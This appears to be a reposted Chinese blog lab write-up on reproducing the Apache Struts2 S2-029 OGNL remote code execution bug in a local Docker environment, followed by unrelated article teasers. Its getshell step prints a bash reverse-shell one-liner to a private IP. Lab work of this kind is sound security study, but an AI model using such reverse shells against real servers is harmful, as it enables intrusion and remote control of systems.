框架漏洞-->Struts2 Docker_Vulnhub搭建

news2024/9/22 5:27:17

来浅浅的讲一下Struts2漏洞

目录

1.Docker_Vulnhub搭建

2.Struts2

3.Struts2的框架特征

4.S2-029-->Remote Code Execution

5.漏洞复现

1.RCE

2.Getshell


1.Docker_Vulnhub搭建

因为我用的是Linux,所以我选择直接搭个docker,这里我建议先换个源

vim /etc/apt/sources.list

我用的清华源

deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

换完之后记得更新一下

sudo apt update

然后就可以装我们的docker啦!!!

sudo apt install docker.io

然后就是安装docker-compose

sudo apt-get  install docker-compose

下载vulnhub

git clone https://github.com/vulhub/vulhub.git 
//如果上面这个太慢的话,可以试试下面这个

wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip

unzip vulhub-master.zip

然后就是开启docker环境

sudo systemctl start docker

 然后可以去查看一下

然后今天我们要复现的 s2-029在vulnhub里面没有,所以需要我们自己去拉取

docker pull medicean/vulapps:s_struts2_s2-029

 然后去启动漏洞环境

docker run -d -p 8081:8080 medicean/vulapps:s_struts2_s2-029

然后你就会发现网卡信息那里多了一栏

然后我们用本机的环境去访问 kali的ip:8080/default.action

访问成功,环境搭建成功

2.Struts2

Struts2是apache项目下的一个web 框架,普遍应用于阿里巴巴、京东等互联
网、政府、企业门户网站。用的java语言开发 
漏洞介绍:
Struts2漏洞是一个经典的漏洞系列,根源在于Struts2 引入了OGNL表达式使得框架
具有灵活的动态性 。随着整体框架的补丁完善,现在想挖掘新的Struts2漏洞会比以前
困难很多,从实际了解的情况来看,大部分用户早就修复了历史的高危漏洞。目前在
做渗透测试时,Struts2漏洞主要也是碰碰运气,或者是打到内网之后用来攻击没打补
丁的系统会比较有效。

3.Struts2的框架特征

Struts2 框架特征
查看被测应用系统的源码, URL 接口地址以 .action ” “ .do 结尾或地址中包含 ! 符号,或者在被测应用的服务器上查看 应用所在目录/WEB-INF/lib/下的jar文件,若存在struts2-core-
2.*.**.jar或xwork-core-2.*.**.jar格式的jar文件 ,则需检测是否 存在Struts2 远程代码执行漏洞。

4.S2-029-->Remote Code Execution

rce的原理

Struts2的动态性在于ongl表达式可以获取到运行变量的值,并且有机会执行函数调用
。如果可以把恶意的请求参数送到ognl的执行流程中,就会导致任意代码执行漏洞。

5.漏洞复现

1.RCE

这里我就直接用漏扫了 

于是就对应的去利用

看见是能成功rce的!!!

2.Getshell

能不能getshell呢,废话,都能rce了,肯定能getshell啊!!!

先去开一下netcat

然后就是反向连接弹shell了

/bin/bash -c   "bash -i  >& /dev/tcp/192.168.246.1/9191 0>&1 "

这样就是成功的getshell了!!!

当然了,这个有没有手工的poc呢?? 肯定是有,不过很长 

最后养成好习惯,关闭docker环境

docker-compose down  //如果是上面的环境的话,就要走以下命令
sudo systemctl stop docker
sudo systemctl stop docker.socket
sudo systemctl status docker //最后查看一下环境是否关闭

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1487905.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Jmeter接口测试---随机数、加密、cookie鉴权、断言、CSV参数化

随机数 第一步:选择工具-函数助手对话框 第二步:选择random,设置最大值最小值,复制函数字符串到指定位置 加密接口 类型:AES、DES、Base64、RSA(可以解密) | MD5、SHA、HmacSHA(不…

振弦式埋入应变计:工程安全的精准守护者

振弦式埋入应变计是一种先进的工程监测设备,以其卓越的性能和稳定的可靠性,广泛应用于水工建筑物及其他混凝土结构物的长期安全监测中。峟思振弦埋入式应变计的核心部件采用进口钢弦制成,保证了其使用寿命的长久性。同时,主要构件…

【C++练级之路】【Lv.10】【STL】priority_queue类和反向迭代器的模拟实现

快乐的流畅:个人主页 个人专栏:《C语言》《数据结构世界》《进击的C》 远方有一堆篝火,在为久候之人燃烧! 文章目录 一、仿函数1.1 仿函数的介绍1.2 仿函数的优势 二、priority_queue2.1 push2.2 pop2.3 top2.4 size2.5 empty 三、…

延迟任务基于DeyalQueue

一,延迟任务应用场景? 一般用于处理订单,将redis中的数据延迟存入数据库,实现异步存储减少DB的压力 DelayQueue是基于内存的延迟队列 二, 延迟任务的实现方案有很多 DelayQueue Redisson MQ 时间轮 原理 JDK自带延…

基于Keil的RTE(run time environment)配置GD32开发环境,移植FreeRTOS

前言: 10多年前就用STM32了,最近从STM32转到GD32,感觉国产的芯片发展是真的快,不但更便宜,还更快更好用了(是在是受不了STM32 I2C BUSY的那个BUG)。 先说下,实际上STM32的程序可以…

5 分钟配置好 Electron 应用的图标

最近在开发博客本地客户端 HexoPress,应用做好后,需要打包,如果不希望打包出来 App 的图标用的是 Electron 默认的星球环绕的图标,那么需要自己制作图标。 制作图标 首先,你需要给各种操作系统制作一个满足要求的图标…

Python+OpenGL三维模型显示鼠标缩放旋转平移

程序示例精选 PythonOpenGL三维模型显示鼠标缩放旋转平移 如需安装运行环境或远程调试,见文章底部个人QQ名片,由专业技术人员远程协助! 前言 这篇博客针对《PythonOpenGL三维模型显示鼠标缩放旋转平移》编写代码,代码整洁&#…

「MySQL」基本操作类型

🎇个人主页:Ice_Sugar_7 🎇所属专栏:数据库 🎇欢迎点赞收藏加关注哦! 数据库的操作 创建、显示数据库 使用 create 创建一个数据库 create database goods;然后可以用 show databases 来查看已经创建的数…

mac电脑使用pyinstaller打包python脚本

pyinstaller -F template.py 出现报错"AssertionError: Executable contains code signature!" 移除签名 codesign --remove-signature /Users/f7692281/PycharmProjects/TPtestlist/transmit_v6.0.py 打包命令 pyinstaller --windowed transmit_v6.0.py pyinst…

【MATLAB】语音信号识别与处理:T1小波滤波算法去噪及谱相减算法呈现频谱

1 基本定义 T1小波滤波算法是一种基于小波变换的信号去噪算法。它可以有效地去除信号中的噪声,并保留信号的主要特征。该算法的主要思想是将信号分解为多个不同尺度的小波系数,然后通过对小波系数进行阈值处理来去除噪声。 具体来说,T1小波滤…

企业CRM系统选型指南 | 掌握必备功能,提升工作效率

大家好我是卡林,今天分享CRM系统的十大功能,企业CRM系统选型指南。说起CRM的功能,大家会联想到什么?数据库、商机管理或者销售漏斗,这些是大部分人都会联想到的功能,但不太全面。如线索管理、联系人管理、客…

开发苹果iOS应用后如何提交到App Store

文章目录 摘要引言正文一、选择IPA文件和通道二、设置专用密码三、上传IPA文件提交上传界面说明 总结 摘要 本文将介绍使用AppUploader工具提交iOS应用到App Store的详细步骤。通过选择IPA文件和通道、设置专用密码以及进行上传,开发者可以顺利完成应用的提交上传过…

【牛客面试必刷TOP101】Day25.BM38 在二叉树中找到两个节点的最近公共祖先和BM40 重建二叉树

作者简介:大家好,我是未央; 博客首页:未央.303 系列专栏:牛客面试必刷TOP101 每日一句:人的一生,可以有所作为的时机只有一次,那就是现在!!!&…

LeetCode 刷题 [C++] 第279题.完全平方数

题目描述 给你一个整数 n ,返回 和为 n 的完全平方数的最少数量 。 完全平方数是一个整数,其值等于另一个整数的平方;换句话说,其值等于一个整数自乘的积。例如,1、4、9 和 16 都是完全平方数,而 3 和 11…

设计模式(十五)状态模式

请直接看原文:设计模式系列 ------------------------------------------------------------------------------------------------------------------------------- 前言 建议在阅读本文前先阅读设计模式(十一)策略模式这篇文章,虽说状态…

Python 获取beckhoff数据-OPCUA

1. 背景介绍 OPC UA(Unified Architecture,统一架构)是下一代的OPC 标准,它是一种工业通讯协议,通过提供一个完整的,安全和可靠的跨平台的架构,以获取实时和历史数据和时间。OPC UA的诞生是因为…

DSP,QX320F28337,数据手册,使用手册

自研32位双核CPU 主频400MHz 单精度浮点运算FPU 三角函数运算TMU flash 1MB,sram 1MB 3个12位ADC,采样率3MSPS 3个14位ADC,采样率2.67MSPS 24个ePWM通道,16个HRPWM(150PS)

爬虫实战——麻省理工学院新闻

文章目录 发现宝藏一、 目标二、 浅析三、获取所有模块四、请求处理模块、版面、文章1. 分析切换页面的参数传递2. 获取共有多少页标签并遍历版面3.解析版面并保存版面信息4. 解析文章列表和文章5. 清洗文章6. 保存文章图片 五、完整代码六、效果展示 发现宝藏 前些天发现了一…

力扣周赛387

第一题 代码 package Competition.The387Competitioin;public class Demo1 {public static void main(String[] args) {}public int[] resultArray(int[] nums) {int ans[]new int[nums.length];int arr1[]new int[nums.length];int arr2[]new int[nums.length];if(nums.leng…

玩转地下管网三维建模:MagicPipe3D系统

地下管网是保障城市运行的基础设施和“生命线”。随着实景三维中国建设的推进,构建地下管网三维模型与地上融合的数字孪生场景,对于提升智慧城市管理至关重要!针对现有三维管线建模数据差异大、建模交互弱、模型效果差、缺乏语义信息等缺陷&a…